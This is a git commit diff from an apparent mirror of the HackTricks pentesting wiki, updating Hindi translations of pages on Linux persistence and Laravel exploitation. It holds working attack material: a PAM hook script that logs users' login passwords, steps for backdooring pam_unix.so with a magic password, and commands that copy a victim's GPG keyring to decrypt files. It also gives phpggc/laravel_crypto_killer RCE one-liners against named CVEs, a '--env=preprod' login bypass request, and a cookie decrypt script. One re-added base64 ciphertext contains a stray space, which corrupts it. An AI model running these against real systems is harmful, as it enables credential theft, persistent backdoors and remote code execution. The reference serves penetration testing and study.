mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/linux-h
This commit is contained in:
parent
45b5123a26
commit
0f356a978a
@ -2,24 +2,25 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## PAM के साथ लॉगिन पासवर्ड की स्निफिंग
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
आइए एक PAM मॉड्यूल कॉन्फ़िगर करें ताकि प्रत्येक उपयोगकर्ता द्वारा लॉगिन के लिए उपयोग किया गया हर पासवर्ड लॉग किया जा सके। यदि आप नहीं जानते कि PAM क्या है तो देखें:
|
||||
|
||||
आइए एक PAM मॉड्यूल को कॉन्फ़िगर करें ताकि प्रत्येक उपयोगकर्ता द्वारा लॉगिन के लिए उपयोग किए जाने वाले पासवर्ड को लॉग किया जा सके। यदि आप नहीं जानते कि PAM क्या है, तो देखें:
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**अधिक जानकारी के लिए [मूल पोस्ट](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) देखें**। यह केवल एक सारांश है:
|
||||
**अधिक विवरण के लिए [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) देखें।** यह सिर्फ एक सारांश है:
|
||||
|
||||
**तकनीक का अवलोकन:**
|
||||
प्लग करने योग्य प्रमाणीकरण मॉड्यूल (PAM) यूनिक्स-आधारित सिस्टम पर प्रमाणीकरण प्रबंधन में लचीलापन प्रदान करते हैं। वे लॉगिन प्रक्रियाओं को अनुकूलित करके सुरक्षा को बढ़ा सकते हैं, लेकिन यदि गलत तरीके से उपयोग किया जाए तो जोखिम भी पैदा कर सकते हैं। यह सारांश PAM का उपयोग करके लॉगिन क्रेडेंशियल कैप्चर करने की एक तकनीक को रेखांकित करता है, साथ ही शमन रणनीतियों के साथ।
|
||||
Pluggable Authentication Modules (PAM) Unix-based systems पर authentication प्रबंधन में लचीलापन प्रदान करते हैं। ये login प्रक्रियाओं को अनुकूलित करके सुरक्षा बढ़ा सकते हैं, लेकिन गलत इस्तेमाल होने पर जोखिम भी उत्पन्न कर सकते हैं। यह सारांश PAM का उपयोग करके login credentials कैप्चर करने की एक तकनीक और उसके निवारण रणनीतियों का खाका प्रस्तुत करता है।
|
||||
|
||||
**क्रेडेंशियल कैप्चर करना:**
|
||||
**क्रेडेंशियल्स कैप्चर करना:**
|
||||
|
||||
- एक बैश स्क्रिप्ट जिसका नाम `toomanysecrets.sh` है, लॉगिन प्रयासों को लॉग करने के लिए बनाई गई है, जो तारीख, उपयोगकर्ता नाम (`$PAM_USER`), पासवर्ड (stdin के माध्यम से), और दूरस्थ होस्ट IP (`$PAM_RHOST`) को `/var/log/toomanysecrets.log` में कैप्चर करती है।
|
||||
- स्क्रिप्ट को निष्पादन योग्य बनाया गया है और PAM कॉन्फ़िगरेशन (`common-auth`) में `pam_exec.so` मॉड्यूल का उपयोग करके एकीकृत किया गया है, जिसमें चुपचाप चलाने और स्क्रिप्ट को प्रमाणीकरण टोकन उजागर करने के विकल्प हैं।
|
||||
- यह दृष्टिकोण दिखाता है कि कैसे एक समझौता किया गया Linux होस्ट क्रेडेंशियल्स को चुपचाप लॉग करने के लिए शोषित किया जा सकता है।
|
||||
- एक bash स्क्रिप्ट नाम `toomanysecrets.sh` बनाई जाती है जो लॉगिन प्रयासों को लॉग करती है, तारीख, उपयोगकर्ता नाम (`$PAM_USER`), पासवर्ड (stdin के जरिए), और रिमोट होस्ट IP (`$PAM_RHOST`) को `/var/log/toomanysecrets.log` में दर्ज करती है।
|
||||
- स्क्रिप्ट को executable बनाया जाता है और `pam_exec.so` मॉड्यूल का उपयोग करके PAM कॉन्फ़िगरेशन (`common-auth`) में एकीकृत किया जाता है, जिसमें शांति से चलाने और authentication token को स्क्रिप्ट के लिए उजागर करने के विकल्प शामिल होते हैं।
|
||||
- यह तरीका दर्शाता है कि कैसे एक compromised Linux host का फायदा उठाकर credentials को गुप्त रूप से लॉग किया जा सकता है।
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -31,23 +32,49 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**अधिक जानकारी के लिए [मूल पोस्ट](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) देखें**। यह केवल एक सारांश है:
|
||||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. यह सिर्फ एक सारांश है:
|
||||
|
||||
Pluggable Authentication Module (PAM) एक प्रणाली है जो Linux के तहत उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जाती है। यह तीन मुख्य अवधारणाओं पर काम करती है: **उपयोगकर्ता नाम**, **पासवर्ड**, और **सेवा**। प्रत्येक सेवा के लिए कॉन्फ़िगरेशन फ़ाइलें `/etc/pam.d/` निर्देशिका में स्थित हैं, जहाँ साझा पुस्तकालय प्रमाणीकरण को संभालते हैं।
|
||||
The Pluggable Authentication Module (PAM) एक सिस्टम है जो Linux के तहत user authentication के लिए उपयोग होता है। यह तीन मुख्य अवधारणाओं पर काम करता है: **username**, **password**, और **service**. प्रत्येक service के लिए configuration files `/etc/pam.d/` डायरेक्टरी में स्थित होती हैं, जहाँ shared libraries authentication को संभालती हैं।
|
||||
|
||||
**उद्देश्य**: PAM को संशोधित करना ताकि एक विशिष्ट पासवर्ड के साथ प्रमाणीकरण की अनुमति दी जा सके, वास्तविक उपयोगकर्ता पासवर्ड को बायपास करते हुए। यह विशेष रूप से `common-auth` फ़ाइल द्वारा उपयोग किए जाने वाले `pam_unix.so` साझा पुस्तकालय पर केंद्रित है, जो पासवर्ड सत्यापन के लिए लगभग सभी सेवाओं द्वारा शामिल किया जाता है।
|
||||
**Objective**: PAM में संशोधन करके एक विशेष password के साथ authentication की अनुमति देना, वास्तविक user password को बायपास करना। यह खासकर `pam_unix.so` shared library पर केंद्रित है जो `common-auth` फाइल द्वारा उपयोग होती है, और लगभग सभी services द्वारा password verification के लिए शामिल की जाती है।
|
||||
|
||||
### `pam_unix.so` को संशोधित करने के चरण:
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **common-auth फ़ाइल में प्रमाणीकरण निर्देश को खोजें**:
|
||||
- वह पंक्ति जो उपयोगकर्ता के पासवर्ड की जांच के लिए `pam_unix.so` को कॉल करती है।
|
||||
2. **स्रोत कोड को संशोधित करें**:
|
||||
- `pam_unix_auth.c` स्रोत फ़ाइल में एक शर्तीय कथन जोड़ें जो पूर्वनिर्धारित पासवर्ड का उपयोग करने पर पहुँच प्रदान करता है, अन्यथा यह सामान्य प्रमाणीकरण प्रक्रिया के साथ आगे बढ़ता है।
|
||||
3. **संशोधित `pam_unix.so` पुस्तकालय को उचित निर्देशिका में पुनः संकलित और प्रतिस्थापित करें**।
|
||||
4. **परीक्षण**:
|
||||
- विभिन्न सेवाओं (लॉगिन, ssh, sudo, su, स्क्रीनसेवर) में पूर्वनिर्धारित पासवर्ड के साथ पहुँच दी जाती है, जबकि सामान्य प्रमाणीकरण प्रक्रियाएँ अप्रभावित रहती हैं।
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- वह लाइन जो किसी user के password की जाँच के लिए जिम्मेदार है, `pam_unix.so` को कॉल करती है।
|
||||
2. **Modify Source Code**:
|
||||
- `pam_unix_auth.c` source file में एक conditional कथन जोड़ें जो predefined password इस्तेमाल होने पर access देता है, अन्यथा सामान्य authentication प्रक्रिया के साथ आगे बढ़ता है।
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- विभिन्न services (login, ssh, sudo, su, screensaver) पर predefined password के साथ access मिलती है, जबकि सामान्य authentication प्रक्रियाएँ प्रभावित नहीं होतीं।
|
||||
|
||||
> [!TIP]
|
||||
> आप इस प्रक्रिया को [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) के साथ स्वचालित कर सकते हैं
|
||||
> आप इस प्रक्रिया को ऑटोमेट कर सकते हैं: [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
|
||||
यदि आपको एक encrypted `.gpg` फाइल और एक user का `~/.gnupg` फोल्डर (pubring, private-keys, trustdb) मिलता है पर आप GnuPG homedir permissions/locks के कारण decrypt नहीं कर पा रहे हैं, तो keyring को किसी writable स्थान पर कॉपी करें और उसे अपने GPG home के रूप में उपयोग करें।
|
||||
|
||||
बिना यह करने पर सामान्य त्रुटियाँ जो आप देखेंगे: "unsafe ownership on homedir", "failed to create temporary file", या "decryption failed: No secret key" (क्योंकि GPG मूल homedir को read/write नहीं कर सकता)।
|
||||
|
||||
Workflow:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
यदि गुप्त कुंजी सामग्री `private-keys-v1.d` में मौजूद है, तो GPG पासफ़्रेज़ के बिना अनलॉक और डिक्रिप्ट कर देगा (या यदि कुंजी सुरक्षित है तो यह पूछेगा)।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -8,10 +8,10 @@
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
## APP_KEY और एन्क्रिप्शन इंटरनल्स (Laravel \u003e=5.6)
|
||||
|
||||
Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (`Illuminate\\Encryption\\Encrypter`)।
|
||||
कच्चा ciphertext जो अंततः **क्लाइंट को भेजा जाता है** वह **Base64 का एक JSON ऑब्जेक्ट** होता है जैसे:
|
||||
Laravel बैकएंड में AES-256-CBC (या GCM) और HMAC इंटीग्रिटी के साथ उपयोग करता है (`Illuminate\\Encryption\\Encrypter`)।
|
||||
अंततः कच्चा ciphertext जो **क्लाइंट को भेजा जाता है**, वह **Base64 of a JSON object** जैसा होता है:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,7 +20,9 @@ Laravel AES-256-CBC (या GCM) का उपयोग करता है ज
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** decrypted value करेगा। इसलिए **कोई भी हमलावर जो 32-बाइट का गुप्त `APP_KEY` जानता है, एक एन्क्रिप्टेड PHP serialized ऑब्जेक्ट तैयार कर सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।**
|
||||
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से सादा टेक्स्ट को `serialize()` करेगा, जबकि
|
||||
`decrypt($payload, $unserialize=true)` **डिक्रीप्ट किए गए मान को स्वतः `unserialize()` करेगा**।
|
||||
इसलिए **कोई भी attacker जो 32-byte secret `APP_KEY` जानता है वह एक encrypted PHP serialized object बना सकता है और magic methods (`__wakeup`, `__destruct`, …) के जरिए RCE हासिल कर सकता है**।
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
@ -29,12 +31,12 @@ use Illuminate\Support\Facades\Crypt;
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंग में इंजेक्ट करें (रूट पैरामीटर, कुकी, सत्र, …)।
|
||||
उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` sink (route param, cookie, session, …) में इंजेक्ट करें।
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरी प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -51,19 +53,19 @@ The script transparently supports both CBC and GCM payloads and re-generates the
|
||||
|
||||
## वास्तविक दुनिया के कमजोर पैटर्न
|
||||
|
||||
| प्रोजेक्ट | कमजोर सिंक | गैजेट श्रृंखला |
|
||||
| Project | Vulnerable sink | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` कुकी | Laravel/RCE15 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
शोषण कार्यप्रवाह हमेशा होता है:
|
||||
1. 32-बाइट `APP_KEY` प्राप्त करें या ब्रूट-फोर्स करें।
|
||||
2. **PHPGGC** के साथ एक गैजेट श्रृंखला बनाएं (उदाहरण के लिए `Laravel/RCE13`, `Laravel/RCE9` या `Laravel/RCE15`)।
|
||||
3. पुनर्प्राप्त `APP_KEY` और **laravel_crypto_killer.py** के साथ क्रमबद्ध गैजेट को एन्क्रिप्ट करें।
|
||||
4. **RCE** को ट्रिगर करने के लिए कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र …) पर ciphertext भेजें।
|
||||
The exploitation workflow is always:
|
||||
1. 32-byte `APP_KEY` प्राप्त करें या ब्रूट-फोर्स करें।
|
||||
2. **PHPGGC** के साथ एक gadget chain बनाएं (उदाहरण के लिए `Laravel/RCE13`, `Laravel/RCE9` या `Laravel/RCE15`)।
|
||||
3. सिरीयलाइज़्ड gadget को **laravel_crypto_killer.py** और पुनः प्राप्त `APP_KEY` से encrypt करें।
|
||||
4. सिफरटेक्स्ट को कमजोर `decrypt()` sink (route parameter, cookie, session …) पर भेजें ताकि **RCE** ट्रिगर हो।
|
||||
|
||||
नीचे प्रत्येक वास्तविक दुनिया के CVE के लिए पूर्ण हमले के मार्ग को प्रदर्शित करने वाले संक्षिप्त एक-लाइनर दिए गए हैं:
|
||||
नीचे संक्षिप्त one-liners दिए गए हैं जो ऊपर बताए गए प्रत्येक वास्तविक CVE के लिए पूरा attack path दिखाते हैं:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -80,38 +82,82 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## बड़े पैमाने पर APP_KEY खोज (cookie brute-force के माध्यम से)
|
||||
|
||||
क्योंकि हर नए Laravel response कम से कम 1 एन्क्रिप्टेड cookie (`XSRF-TOKEN` और आमतौर पर `laravel_session`) सेट करता है, **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** जो offline में हमला किए जा सकते हैं।
|
||||
|
||||
Synacktiv (2024-2025) द्वारा प्रकाशित रिसर्च के मुख्य निष्कर्ष:
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers अभी भी legacy CVE-2018-15133 के प्रति vulnerable हैं क्योंकि tokens सीधे serialized data contain करते हैं।
|
||||
* Huge key reuse – Top-10 APP_KEYs hard-coded defaults हैं जो commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …) के साथ shipped होते हैं।
|
||||
|
||||
Private Go tool **nounours** AES-CBC/GCM bruteforce throughput को ~1.5 billion tries/s तक पहुंचाता है, जिससे पूरे dataset का cracking <2 minutes में हो जाता है।
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
जब PHP का `register_argc_argv=On` (कई distros पर typical) होता है, PHP query string से derived HTTP requests के लिए एक `argv` array expose करता है। हालिया Laravel versions इन “CLI-like” args को parse करते थे और runtime पर `--env=<value>` को मानते थे। इसका मतलब है कि आप केवल इसे किसी भी URL के साथ जोड़कर current HTTP request के लिए framework environment flip कर सकते हैं:
|
||||
|
||||
- Quick check:
|
||||
- Visit `https://target/?--env=local` या कोई भी string खोलें और environment-dependent परिवर्तन देखें (debug banners, footers, verbose errors)। यदि string reflect होता है, तो override काम कर रहा है।
|
||||
|
||||
- Impact example (business logic trusting a special env):
|
||||
- यदि app में ऐसी branches हैं जैसे `if (app()->environment('preprod')) { /* bypass auth */ }`, तो आप valid creds के बिना authenticate कर सकते हैं login POST भेजकर:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes:
|
||||
- हर-request के लिए काम करता है, कोई persistence नहीं।
|
||||
- Requires `register_argc_argv=On` और एक vulnerable Laravel version जो HTTP के लिए argv पढ़ता है।
|
||||
- एक उपयोगी primitive है जो “debug” envs में अधिक verbose errors surface करने या environment-gated code paths trigger करने में काम आता है।
|
||||
|
||||
- Mitigations:
|
||||
- PHP-FPM/Apache के लिए `register_argc_argv` को Disable करें।
|
||||
- Laravel को upgrade करें ताकि HTTP requests पर argv ignore किया जाए और production routes में `app()->environment()` से जुड़ी किसी भी trust assumption को हटा दिया जाए।
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
## Laravel युक्तियाँ
|
||||
|
||||
क्योंकि हर नए Laravel प्रतिक्रिया में कम से कम 1 एन्क्रिप्टेड कुकी (`XSRF-TOKEN` और आमतौर पर `laravel_session`) सेट होती है, **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफलाइन अटैक किया जा सकता है।
|
||||
### डिबगिंग मोड
|
||||
|
||||
Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025):
|
||||
* Dataset जुलाई 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset मई 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं।
|
||||
* विशाल कुंजी पुन: उपयोग – शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं।
|
||||
|
||||
निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 मिनट में कम करता है।
|
||||
|
||||
## Laravel Tricks
|
||||
|
||||
### Debugging mode
|
||||
|
||||
यदि Laravel **डिबगिंग मोड** में है तो आप **कोड** और **संवेदनशील डेटा** तक पहुँच सकते हैं।\
|
||||
यदि Laravel **debugging mode** में है तो आप **code** और **sensitive data** तक पहुँच पाएंगे।\
|
||||
उदाहरण के लिए `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
यह आमतौर पर अन्य Laravel RCE CVEs का शोषण करने के लिए आवश्यक होता है।
|
||||
यह आमतौर पर अन्य Laravel RCE CVEs को exploit करने के लिए आवश्यक होता है।
|
||||
|
||||
### फिंगरप्रिंटिंग और खुले dev endpoints
|
||||
|
||||
Production में Laravel stack और खतरनाक dev tooling के खुले होने की पहचान के लिए त्वरित जांचें:
|
||||
|
||||
- `/_ignition/health-check` → Ignition मौजूद है (debug tool जो CVE-2021-3129 में इस्तेमाल हुआ था). यदि बिना authentication के पहुँचने योग्य है, तो ऐप debug मोड में हो सकता है या misconfigured हो सकता है।
|
||||
- `/_debugbar` → Laravel Debugbar assets; अक्सर debug मोड का संकेत देता है।
|
||||
- `/telescope` → Laravel Telescope (dev monitor). यदि public है, तो व्यापक जानकारी के खुलासे और संभावित actions की उम्मीद करें।
|
||||
- `/horizon` → Queue dashboard; संस्करण का खुलासा और कभी-कभी CSRF-प्रोटेक्टेड actions।
|
||||
- `X-Powered-By`, cookies `XSRF-TOKEN` और `laravel_session`, और Blade error pages भी fingerprinting में मदद करते हैं।
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel उस APP को एक फ़ाइल में सहेजता है जिसका उपयोग वह कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए करता है जिसे `.env` कहा जाता है, जिसे कुछ पथ ट्रैवर्सल का उपयोग करके एक्सेस किया जा सकता है: `/../.env`
|
||||
Laravel उस APP को `.env` नाम की फ़ाइल में सहेजता है जिसका उपयोग cookies और अन्य credentials को encrypt करने के लिए किया जाता है। यह फ़ाइल path traversal के माध्यम से `/../.env` के तहत एक्सेस की जा सकती है।
|
||||
|
||||
Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel एक त्रुटि पाता है और यह सक्रिय होता है)।
|
||||
Laravel यह जानकारी debug page में भी दिखाएगा (यह तब दिखाई देता है जब Laravel कोई error पाता है और यह सक्रिय होता है)।
|
||||
|
||||
Laravel के गुप्त APP_KEY का उपयोग करके आप कुकीज़ को डिक्रिप्ट और फिर से एन्क्रिप्ट कर सकते हैं:
|
||||
Laravel के secret APP_KEY का उपयोग करके आप cookies को decrypt और re-encrypt कर सकते हैं:
|
||||
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
@ -168,18 +214,17 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
